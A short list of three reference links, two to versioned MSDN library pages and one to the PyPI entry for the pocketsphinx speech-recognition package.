- https://msdn.microsoft.com/en-us/library/ba08y07y(v=vs.90).aspx
- https://msdn.microsoft.com/en-us/library/bb531393(v=vs.120).aspx
- https://pypi.python.org/pypi/pocketsphinx